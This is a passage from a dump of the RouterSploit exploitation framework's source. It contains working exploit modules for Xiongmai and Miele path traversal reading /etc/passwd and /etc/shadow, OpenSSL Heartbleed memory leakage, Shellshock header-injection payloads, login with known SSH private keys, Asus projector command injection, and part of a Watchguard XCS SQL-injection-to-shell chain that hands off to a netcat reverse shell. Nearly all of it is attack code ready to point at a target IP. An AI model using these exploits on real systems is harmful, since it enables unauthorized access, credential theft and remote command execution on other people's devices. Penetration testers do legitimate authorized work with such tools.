print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/cgi-bin/readfile.cgi?query=ADMINID\"\n        )\n\n        if response and \"Adm_ID\" in response.text:\n            self.content = response.text\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/cameras/xiongmai/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/cameras/xiongmai/uc_httpd_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"XiongMai UC-HTTPd Path Traversal\",\n        \"description\": \"Module exploits UC-HTTPd Path Traversal vulnerability in multiple XiongMai cameras. If target is vulnerable \"\n                       \"it is possible to list directories and read files from the file system.\",\n        \"authors\": (\n            \"keksec\",  # vulnerability discovery\n            \"GH0st3rs\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://packetstormsecurity.com/files/142131/uc-httpd-directory-traversal.txt\",\n            \"https://www.cvedetails.com/cve/CVE-2017-7577/\",\n        ),\n        \"devices\": (\n            \"Xiongmai Technologies app: Uc-httpd 1.0.0\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    filename = OptString(\"/etc/passwd\", \"File to read from filesystem\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n\n            path = \"/../../../../..{}\".format(self.filename)\n            response = self.http_request(\n                method=\"GET\",\n                path=path\n            )\n\n            if response is None:\n                print_error(\"Exploit failed - could not read response\")\n                return\n\n            print_status(\"Reading file: {}\".format(self.filename))\n\n            if response.text:\n                print_info(response.text)\n            else:\n                print_status(\"File seems to be empty\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        path = \"/../../../../../etc/passwd\"\n        response = self.http_request(\n            method=\"GET\",\n            path=path\n        )\n\n        if response and utils.detect_file_content(response.text, \"/etc/passwd\"):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/generic/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/generic/heartbleed.py",
    "content": "import re\nimport binascii\nfrom time import time\nfrom struct import pack, unpack\nfrom cryptography import x509\nfrom cryptography.hazmat.backends import default_backend\nfrom routersploit.core.exploit import *\nfrom routersploit.core.exploit.exploit import Protocol\nfrom routersploit.core.tcp.tcp_client import TCPClient\n\n\nclass Exploit(TCPClient):\n    __info__ = {\n        \"name\": \"OpenSSL Heartbleed\",\n        \"description\": \"Exploits OpenSSL Heartbleed vulnerability. Vulnerability exists in the handling of heartbeat requests,\"\n                       \" where fake length can be used to leak memory data in the response. This module is heavily based on \"\n                       \" Metasploit module.\",\n        \"authors\": (\n            \"Neel Mehta\",  # vulnerability discovery\n            \"Riku\",  # vulnerability discovery\n            \"Antti\",  # vulnerability discovery\n            \"Matti\",  # vulnerability discovery\n            \"Jared Stafford <jspenguin[at]jspenguin.org>\",  # Original Proof of Concept. This module is based on it.\n            \"FiloSottile\",  # PoC site and tool\n            \"Christian Mehlmauer\",  # metasploit module\n            \"wvu\",  # metasploit module\n            \"juan vazquez\",  # metasploit module\n            \"Sebastiano Di Paola\",  # metasploit module\n            \"Tom Sellers\",  # metasploit module\n            \"jjarmoc\",  # metasploit module; keydump, refactoring..\n            \"Ben Buchanan\",  # metasploit module\n            \"herself\",  # metasploit module\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://www.cvedetails.com/cve/2014-0160\",\n            \"http://heartbleed.com/\",\n            \"https://www.us-cert.gov/ncas/alerts/TA14-098A\",\n            \"https://gist.github.com/takeshixx/10107280\",\n            \"https://github.com/FiloSottile/Heartbleed\",\n            \"http://filippo.io/Heartbleed/\",\n            \"https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb\",\n        ),\n        \"devices\": (\n            \"Multi\",\n        ),\n    }\n\n    target_protocol = Protocol.HTTP\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(443, \"Target HTTP port\")\n\n    tls_version = OptString(\"1.0\", \"TLS/SSL version to use: SSLv3, 1.0, 1.1, 1.2\")\n    heartbeat_length = OptInteger(65535, \"Heartbeat length\")\n\n    CIPHER_SUITS = (\n        0xc014,  # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA\n        0xc00a,  # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA\n        0xc022,  # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA\n        0xc021,  # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA\n        0x0039,  # TLS_DHE_RSA_WITH_AES_256_CBC_SHA\n        0x0038,  # TLS_DHE_DSS_WITH_AES_256_CBC_SHA\n        0x0088,  # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA\n        0x0087,  # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA\n        0x0087,  # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA\n        0xc00f,  # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA\n        0x0035,  # TLS_RSA_WITH_AES_256_CBC_SHA\n        0x0084,  # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA\n        0xc012,  # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA\n        0xc008,  # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA\n        0xc01c,  # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA\n        0xc01b,  # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA\n        0x0016,  # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA\n        0x0013,  # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA\n        0xc00d,  # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA\n        0xc003,  # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA\n        0x000a,  # TLS_RSA_WITH_3DES_EDE_CBC_SHA\n        0xc013,  # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\n        0xc009,  # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA\n        0xc01f,  # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA\n        0xc01e,  # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA\n        0x0033,  # TLS_DHE_RSA_WITH_AES_128_CBC_SHA\n        0x0032,  # TLS_DHE_DSS_WITH_AES_128_CBC_SHA\n        0x009a,  # TLS_DHE_RSA_WITH_SEED_CBC_SHA\n        0x0099,  # TLS_DHE_DSS_WITH_SEED_CBC_SHA\n        0x0045,  # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA\n        0x0044,  # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA\n        0xc00e,  # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA\n        0xc004,  # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA\n        0x002f,  # TLS_RSA_WITH_AES_128_CBC_SHA\n        0x0096,  # TLS_RSA_WITH_SEED_CBC_SHA\n        0x0041,  # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA\n        0xc011,  # TLS_ECDHE_RSA_WITH_RC4_128_SHA\n        0xc007,  # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA\n        0xc00c,  # TLS_ECDH_RSA_WITH_RC4_128_SHA\n        0xc002,  # TLS_ECDH_ECDSA_WITH_RC4_128_SHA\n        0x0005,  # TLS_RSA_WITH_RC4_128_SHA\n        0x0004,  # TLS_RSA_WITH_RC4_128_MD5\n        0x0015,  # TLS_DHE_RSA_WITH_DES_CBC_SHA\n        0x0012,  # TLS_DHE_DSS_WITH_DES_CBC_SHA\n        0x0009,  # TLS_RSA_WITH_DES_CBC_SHA\n        0x0014,  # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA\n        0x0011,  # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA\n        0x0008,  # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA\n        0x0006,  # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5\n        0x0003,  # TLS_RSA_EXPORT_WITH_RC4_40_MD5\n        0x00ff   # Unknown\n    )\n\n    SSL_RECORD_HEADER_SIZE = 0x05\n    HANDSHAKE_RECORD_TYPE = 0x16\n    HEARTBEAT_RECORD_TYPE = 0x18\n    ALERT_RECORD_TYPE = 0x15\n    HANDSHAKE_SERVER_HELLO_TYPE = 0x02\n    HANDSHAKE_CERTIFICATE_TYPE = 0x0b\n    HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c\n    HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e\n\n    TLS_VERSION = {\n        \"SSLv3\": 0x0300,\n        \"1.0\": 0x0301,\n        \"1.1\": 0x0302,\n        \"1.2\": 0x0303\n    }\n\n    def __init__(self):\n        self.tcp_client = None\n        self.leak = None\n\n        self.printable = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\\"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~\"\n        self.white_chars = \" \\t\\n\\r\\x0b\\x0c\"\n\n    def run(self):\n        self.leak = self.bleed()\n        if self.leak:\n            data = \"\"\n            for leak_byte in self.leak:\n                char = chr(leak_byte)\n                if char in self.white_chars:\n                    data += \" \"\n                elif char not in self.printable:\n                    data += \".\"\n                else:\n                    data += char\n\n            clean_data = \"\"\n            tmp_b = 0\n            for item in re.finditer(r\"(\\.){400,}\", data):\n                a, b = item.span()\n                clean_data += data[tmp_b:a]\n                tmp_b = b\n                repeated = b - a - 64\n                clean_data += \"................................ repeated {} times ................................\".format(repeated)\n\n            clean_data += data[b:]\n            print_info(clean_data)\n        else:\n            print_error(\"Exploit failed - Target does not seem to be vulnerable\")\n\n    @mute\n    def check(self):\n        if self.bleed():\n            return True\n\n        return False\n\n    def bleed(self):\n        if not self.establish_connect():\n            print_error(\"Exploit failed - could not establish connection\")\n            return False\n\n        print_status(\"Sending Heartbeat...\")\n        heartbeat_req = self.heartbeat_request(self.heartbeat_length)\n        self.tcp_client.send(heartbeat_req)\n        hdr = self.tcp_client.recv_all(self.SSL_RECORD_HEADER_SIZE)\n        if not hdr:\n            print_error(\"No Heartbeat response...\")\n            return False\n\n        record_type, version, length = unpack(\">BHH\", hdr)\n\n        if record_type != self.HEARTBEAT_RECORD_TYPE or version != self.TLS_VERSION[self.tls_version]:\n            print_error(\"Unexpected Hearbeat response header\")\n            self.tcp_client.close()\n\n        heartbeat_data = self.tcp_client.recv_all(self.heartbeat_length)\n        if heartbeat_data:\n            print_success(\"Heartbeat response, {} bytes\".format(len(heartbeat_data)))\n        else:\n            print_error(\"No heartbeat response\")\n\n        self.tcp_client.close()\n\n        return heartbeat_data\n\n    def establish_connect(self):\n        self.tcp_client = self.tcp_create()\n        self.tcp_client.connect()\n\n        print_status(\"Sending Client Hello...\")\n        data = self.client_hello()\n        self.tcp_client.send(data)\n\n        server_response = self.get_server_hello()\n        if not server_response:\n            print_error(\"Server Hello not found\")\n\n        return server_response\n\n    def get_server_hello(self):\n        server_done = False\n        ssl_record_counter = 0\n        remaining_data = self.get_ssl_record()\n\n        while remaining_data and len(remaining_data) > 0:\n            ssl_record_counter += 1\n            ssl_type, ssl_version, ssl_len = unpack(\">BHH\", remaining_data[:5])\n            print_status(\"SSL record {}\".format(ssl_record_counter))\n            print_status(\"\\tType:    {}\".format(ssl_type))\n            print_status(\"\\tVersion: 0x{:x}\".format(ssl_version))\n            print_status(\"\\tLength:  {}\".format(ssl_len))\n\n            if ssl_type != self.HANDSHAKE_RECORD_TYPE:\n                print_status(\"\\tWrong Record Type\")\n            else:\n                ssl_data = remaining_data[5: 5 + ssl_len]\n                handshakes = self.parse_handshakes(ssl_data)\n\n                # Stop once we receive SERVER_HELLO_DONE\n                if handshakes and handshakes[-1][\"type\"] == self.HANDSHAKE_SERVER_HELLO_DONE_TYPE:\n                    server_done = True\n                    break\n\n            remaining_data = self.get_ssl_record()\n\n        return server_done\n\n    def parse_handshakes(self, data):\n        remaining_data = data\n        handshakes = []\n        handshake_count = 0\n\n        while remaining_data and len(remaining_data) > 0:\n            hs_type, hs_len_pad, hs_len = unpack(\">BBH\", remaining_data[:4])\n            hs_data = remaining_data[4: 4 + hs_len]\n            handshake_count += 1\n            print_status(\"\\tHandshake {}\".format(handshake_count))\n            print_status(\"\\t\\tLength: {}\".format(hs_len))\n\n            handshake_parsed = None\n            if hs_type == self.HANDSHAKE_SERVER_HELLO_TYPE:\n                print_status(\"\\t\\tType: Server Hello ({})\".format(hs_type))\n                handshake_parsed = self.parse_server_hello(hs_data)\n            elif hs_type == self.HANDSHAKE_CERTIFICATE_TYPE:\n                print_status(\"\\t\\tType: Certificate Data ({})\".format(hs_type))\n                handshake_parsed = self.parse_certificate_data(hs_data)\n            elif hs_type == self.HANDSHAKE_KEY_EXCHANGE_TYPE:\n                print_status(\"\\t\\tType: Server Key Exchange ({})\".format(hs_type))\n            elif hs_type == self.HANDSHAKE_SERVER_HELLO_DONE_TYPE:\n                print_status(\"\\t\\tType: Server Hello Done ({})\".format(hs_type))\n            else:\n                print_status(\"\\t\\tType: Handshake type {} not implement\".format(hs_type))\n\n            handshakes.append({\n                \"type\": hs_type,\n                \"len\": hs_len,\n                \"data\": handshake_parsed\n            })\n            remaining_data = remaining_data[4 + hs_len:]\n\n        return handshakes\n\n    def parse_server_hello(self, data):\n        version = unpack(\">H\", data[:2])[0]\n        print_status(\"\\t\\tServer Hello Version: 0x{:x}\".format(version))\n        random = unpack(\">\" + \"B\" * 32, data[2:34])\n        random_hex = str(binascii.hexlify(bytes(random)), \"utf-8\")\n        print_status(\"\\t\\tServer Hello random data: {}\".format(random_hex))\n        session_id_length = unpack(\">B\", data[34:35])[0]\n        print_status(\"\\t\\tServer Hello Session ID length: {}\".format(session_id_length))\n        session_id = unpack(\">\" + \"B\" * session_id_length, data[35: 35 + session_id_length])\n        session_id_hex = str(binascii.hexlify(bytes(session_id)), \"utf-8\")\n        print_status(\"\\t\\tServer Hello session id: {}\".format(session_id_hex))\n\n    def parse_certificate_data(self, data):\n        cert_len_padding, cert_len = unpack(\">BH\", data[:3])\n        print_status(\"\\t\\tCertificates length: {}\".format(cert_len))\n        print_status(\"\\t\\tData length: {}\".format(len(data)))\n\n        # contains multiple certs\n        already_read = 3\n        cert_counter = 0\n        while already_read < cert_len:\n            cert_counter += 1\n            # get single certificate length\n            single_cert_len_padding, single_cert_len = unpack(\">BH\", data[already_read: already_read + 3])\n            print_status(\"\\t\\tCertificate {}\".format(cert_counter))\n            print_status(\"\\t\\t\\tCertificate {}: Length: {}\".format(cert_counter, single_cert_len))\n            certificate_data = data[(already_read + 3): (already_read + 3 + single_cert_len)]\n            cert = x509.load_der_x509_certificate(certificate_data, default_backend())\n            print_status(\"\\t\\t\\tCertificate {}: {}\".format(cert_counter, cert))\n\n            already_read = already_read + single_cert_len + 3\n\n    def get_ssl_record(self):\n        hdr = self.tcp_client.recv_all(self.SSL_RECORD_HEADER_SIZE)\n\n        if hdr:\n            length = unpack(\">BHH\", hdr)[2]\n            data = self.tcp_client.recv_all(length)\n            hdr += data\n\n            return hdr\n\n        return None\n\n    def client_hello(self):\n        # user current time for TLS time\n        time_epoch = int(time())\n        cipher_suits_len = len(self.CIPHER_SUITS)\n\n        hello_data = pack(\">H\", self.TLS_VERSION[self.tls_version])  # Version TLS\n        hello_data += pack(\">L\", time_epoch)                        # Time in epoch format\n        hello_data += bytes(utils.random_text(28), \"utf-8\")         # Random\n        hello_data += b\"\\x00\"                                       # Session ID length\n        hello_data += pack(\">H\", cipher_suits_len * 2)              # Cipher Suits Length (102)\n        hello_data += pack(\">\" + \"H\" * cipher_suits_len, *self.CIPHER_SUITS)  # Cipher Suites\n        hello_data += b\"\\x01\"                                       # Compression methods length (1)\n        hello_data += b\"\\x00\"                                       # Compression methods: null\n\n        hello_data_extensions = b\"\\x00\\x0f\"                         # Extension type (Heartbeat)\n        hello_data_extensions += b\"\\x00\\x01\"                        # Extension length\n        hello_data_extensions += b\"\\x01\"                            # Extension data\n\n        hello_data += pack(\">H\", len(hello_data_extensions))\n        hello_data += hello_data_extensions\n\n        data = b\"\\x01\\x00\"                                          # Handshake Type: Client Hello (1)\n        data += pack(\">H\", len(hello_data))                         # Length\n        data += hello_data\n\n        return self.ssl_record(self.HANDSHAKE_RECORD_TYPE, data)\n\n    def heartbeat_request(self, length):\n        payload = b\"\\x01\"           # Heartbeat Message Type: Request (1)\n        payload += pack(\">H\", length)\n        return self.ssl_record(self.HEARTBEAT_RECORD_TYPE, payload)\n\n    def ssl_record(self, record_type, data):\n        record = pack(\">BHH\", record_type, self.TLS_VERSION[self.tls_version], len(data))\n        record += data\n        return record\n"
  },
  {
    "path": "routersploit/modules/exploits/generic/shellshock.py",
    "content": "import re\nimport string\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Shellshock\",\n        \"description\": \"Exploits shellshock vulnerability that allows executing commands on operating system level.\",\n        \"authors\": (\n            \"Marcin Bury <marcin@threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://access.redhat.com/articles/1200223\",\n            \"http://seclists.org/oss-sec/2014/q3/649\",\n            \"http://blog.trendmicro.com/trendlabs-security-intelligence/shell-attack-on-your-server-bash-bug-cve-2014-7169-and-cve-2014-6271/\",\n        ),\n        \"devices\": (\n            \"Multi\",\n        ),\n    }\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    path = OptString(\"/\", \"Url path\")\n    method = OptString(\"GET\", \"HTTP method\")\n    header = OptString(\"User-Agent\", \"HTTP header injection point\")\n\n    def __init__(self):\n        self.payloads = [\n            '() { :;};echo -e \"\\\\r\\\\n{{marker}}$(/bin/bash -c \"{{cmd}}\"){{marker}}\"',  # cve-2014-6271\n            '() { _; } >_[$($())] { echo -e \"\\\\r\\\\n{{marker}}$(/bin/bash -c \"{{cmd}}\"){{marker}}\"; }',  # cve-2014-6278\n        ]\n        self.valid = None\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self)\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        marker = utils.random_text(32)\n        injection = self.valid.replace(\"{{marker}}\", marker).replace(\"{{cmd}}\", cmd)\n\n        headers = {\n            self.header: injection,\n        }\n\n        response = self.http_request(\n            method=self.method,\n            path=self.path,\n            headers=headers\n        )\n\n        if response is None:\n            return\n\n        regexp = \"{}(.+?){}\".format(marker, marker)\n        res = re.findall(regexp, response.text, re.DOTALL)\n\n        if len(res):\n            return res[0]\n        else:\n            return \"\"\n\n    @mute\n    def check(self):\n        number = int(utils.random_text(6, alph=string.digits))\n        solution = number - 1\n        cmd = \"echo $(({}-1))\".format(number)\n\n        marker = utils.random_text(32)\n        for payload in self.payloads:\n            injection = payload.replace(\"{{marker}}\", marker).replace(\"{{cmd}}\", cmd)\n\n            headers = {\n                self.header: injection,\n            }\n\n            response = self.http_request(\n                method=self.method,\n                path=self.path,\n                headers=headers\n            )\n            if response is None:\n                continue\n\n            if str(solution) in response.text:\n                self.valid = payload\n                return True  # target is vulnerable\n\n        return False  # target not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/generic/ssh_auth_keys.py",
    "content": "import os\nimport json\nfrom routersploit.core.exploit import *\nfrom routersploit.core.ssh.ssh_client import SSHClient\n\n\nclass Exploit(SSHClient):\n    __info__ = {\n        \"name\": \"Multi SSH Authorized Keys\",\n        \"description\": \"Module exploits private key exposure vulnerability. If the target is \"\n                       \"vulnerable it is possible to authentiate to the device.\",\n        \"authors\": (\n            \"xistence <xistence[at]0x90.nl>\",  # Quantum DXi V1000, Array Networks, Loadbalancer.org Enterprise VA 7.5.2 vulnerability discovery\n            \"Cristiano Maruti (@cmaruti)\",  # Baracuda Load Balancer vulnerabiltiy discovery\n            \"Jasper Greve\",  # Ceragon FibeAir IP-10 vulnerability doscovery\n            \"HD Moore\",  # Ceragon FibeAir IP-10 vulnerability discovery\n            \"Matta Consulting\",  # F5 BigIP\n            \"egypt\",  # ExaGrid\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://github.com/rapid7/ssh-badkeys\",\n            \"http://packetstormsecurity.com/files/125761/Array-Networks-vxAG-xAPV-Privilege-Escalation.html\",\n            \"http://seclists.org/fulldisclosure/2015/Jan/76\",\n            \"https://github.com/cmaruti/reports/raw/master/barracuda_load_balancer_vm.pdf\",\n            \"https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15\",\n            \"https://www.trustmatta.com/advisories/MATTA-2012-002.txt\",\n            \"https://community.rapid7.com/community/metasploit/blog/2012/06/11/scanning-for-vulnerable-f5-bigips-with-metasploit\",\n            \"http://packetstormsecurity.com/files/125754/Loadbalancer.org-Enterprise-VA-7.5.2-Static-SSH-Key.html\",\n            \"https://www.kb.cert.org/vuls/id/662676\",\n            \"http://packetstormsecurity.com/files/125755/quantum-root.txt\",\n            \"https://github.com/mitchellh/vagrant/tree/master/keys\",\n            \"https://community.rapid7.com/community/infosec/blog/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials\",\n        ),\n        \"devices\": (\n            \"ExaGrid firmware < 4.8 P26\",\n            \"Quantum DXi V1000\",\n            \"Array Networks vxAG 9.2.0.34 and vAPV 8.3.2.17 appliances\",\n            \"Barracuda Load Balancer\",\n            \"Ceragon FibeAir IP-10\",\n            \"F5 BigIP\",\n            \"Loadbalancer.org Enterprise VA 7.5.2\",\n            \"Digital Alert Systems DASDEC and Monroe Electronics One-Net E189 Emergency Alert System\",\n            \"Vagrant\",\n        ),\n    }\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(22, \"Target SSH port\")\n\n    def __init__(self):\n        self.valid = None\n        self.private_keys = []\n\n        ssh_keys_path = os.path.join(utils.RESOURCES_DIR, \"ssh_keys\")\n        ssh_keys = [\".\".join(filename.split(\".\")[:-1]) for filename in os.listdir(ssh_keys_path) if filename.endswith(\".json\")]\n\n        for ssh_key in ssh_keys:\n            path = \"{}/{}.json\".format(ssh_keys_path, ssh_key)\n            with open(path, \"r\") as f:\n                data = json.load(f)\n\n            path = \"{}/{}.key\".format(ssh_keys_path, ssh_key)\n            with open(path, \"r\") as f:\n                data[\"priv_key\"] = f.read()\n\n            self.private_keys.append(data)\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            ssh_client = self.ssh_create()\n            if ssh_client.login_pkey(self.valid[\"username\"], self.valid[\"priv_key\"]):\n                ssh_client.interactive()\n                ssh_client.close()\n            else:\n                print_error(\"Exploit failed - target seems to be not vulnerable\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        for key in self.private_keys:\n            ssh_client = self.ssh_create()\n            if ssh_client.login_pkey(key[\"username\"], key[\"priv_key\"]):\n                ssh_client.close()\n                self.valid = key\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/misc/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/misc/asus/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/misc/asus/b1m_projector_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Asus B1M Projector RCE\",\n        \"description\": \"Module exploits Asus B1M Projector Remote Code Execution vulnerability which \"\n                       \"allows executing command on operating system level with root privileges.\",\n        \"authors\": (\n            \"Hacker House <www.myhackerhouse.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.myhackerhouse.com/asus-b1m-projector-remote-root-0day/\",\n        ),\n        \"devices\": (\n            \"Asus B1M Projector\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self, architecture=\"mipsbe\")\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        path = \"/cgi-bin/apply.cgi?ssid=\\\"%20\\\"`{}`\".format(cmd)\n\n        response = self.http_request(\n            method=\"GET\",\n            path=path\n        )\n\n        if response is None:\n            return \"\"\n\n        return response.text\n\n    @mute\n    def check(self):\n        cmd = \"cat /etc/shadow\"\n        response_text = self.execute(cmd)\n\n        if utils.detect_file_content(response_text, \"/etc/shadow\"):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/misc/miele/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/misc/miele/pg8528_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Miele Professional PG 8528 Path Traversal\",\n        \"description\": \"Module exploits Miele Professional PG 8528 Path Traversal vulnerability which allows \"\n                       \"to read any file on the system.\",\n        \"authors\": (\n            \"Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7240\",\n            \"https://www.exploit-db.com/exploits/41718/\",\n        ),\n        \"devices\": (\n            \"Miele Professional PG 8528 PST10\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    filename = OptString(\"/etc/shadow\", \"File to read from filesystem\")\n\n    def run(self):\n        if self.check():\n            path = \"/../../../../../../../../../../../..{}\".format(self.filename)\n\n            response = self.http_request(\n                method=\"GET\",\n                path=path\n            )\n\n            if response is None:\n                return\n\n            if response.status_code == 200 and response.text:\n                print_success(\"Success! File: %s\" % self.filename)\n                print_info(response.text)\n            else:\n                print_error(\"Exploit failed\")\n        else:\n            print_error(\"Device seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/../../../../../../../../../../../../etc/shadow\"\n        )\n\n        if response and utils.detect_file_content(response.text, \"/etc/shadow\"):\n            return True  # target vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/misc/watchguard/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/misc/watchguard/xcs_9_rce.py",
    "content": "import re\nfrom random import randint\nimport hashlib\n\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    \"\"\"\n    This module exploits two separate vulnerabilities found in the Watchguard XCS virtual\n    appliance to gain command execution. By exploiting an unauthenticated SQL injection, a\n    remote attacker may insert a valid web user into the appliance database, and get access\n    to the web interface. On the other hand, a vulnerability in the web interface allows the\n    attacker to inject operating system commands as the 'nobody' user.\n    \"\"\"\n    __info__ = {\n        'name': 'Watchguard XCS Remote Command Execution',\n        'description': 'This module exploits two separate vulnerabilities found in the Watchguard XCS virtual'\n        'appliance to gain command execution. By exploiting an unauthenticated SQL injection, a '\n        'remote attacker may insert a valid web user into the appliance database, and get access '\n        'to the web interface. On the other hand, a vulnerability in the web interface allows the '\n        'attacker to inject operating system commands as the \"nobody\" user.',\n        'authors': [\n            'Daniel Jensen <daniel.jensen[at]security-assessment.com>',  # discovery and Metasploit module\n            'GH0st3rs',  # routersploit module\n        ],\n        'references': [\n            'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf',\n            'https://vulners.com/metasploit/MSF:EXPLOIT/FREEBSD/HTTP/WATCHGUARD_CMD_EXEC?utm_source=telegram&utm_medium=vulnersBot&utm_campaign=search'\n        ],\n        'devices': [\n            'Watchguard XCS 9.2/10.0',\n        ],\n    }\n\n    target = OptIP('', 'Target address e.g. 192.168.1.1')\n    port = OptPort(443, 'WatchGuard WebUI port')\n    watchguard_user = OptString(utils.random_text(8), 'Web interface user account to add')\n    watchguard_password = OptString(utils.random_text(8), 'Web interface user password')\n\n    def run(self):\n        if self.check():\n            # Get a valid session by logging in or exploiting SQLi to add user\n            print_status('Getting a valid session...')\n            self.sid = self.get_session()\n            if not self.sid:\n                print_error(\"Exploit failed - target seems to be not vulnerable\")\n                return False\n            print_success('Successfully logged in')\n\n            # Check if cmd injection works\n            test_cmd_inj = self.send_cmd_exec('/ADMIN/mailqueue.spl', 'id')\n            if not test_cmd_inj or 'uid=65534' not in test_cmd_inj.text:\n                print_error('Could not inject command, may not be vulnerable')\n                return\n\n            # We have cmd exec, stand up an HTTP server and deliver the payload\n            print_status('Getting ready to drop binary on appliance')\n\n            # Generate payload\n            shell(self,\n                  architecture=\"x64\",\n                  method=\"netcat\",\n                  # payloads=[\"netcat_bind_tcp\", \"netcat_reverse_tcp\"]\n                  )\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n  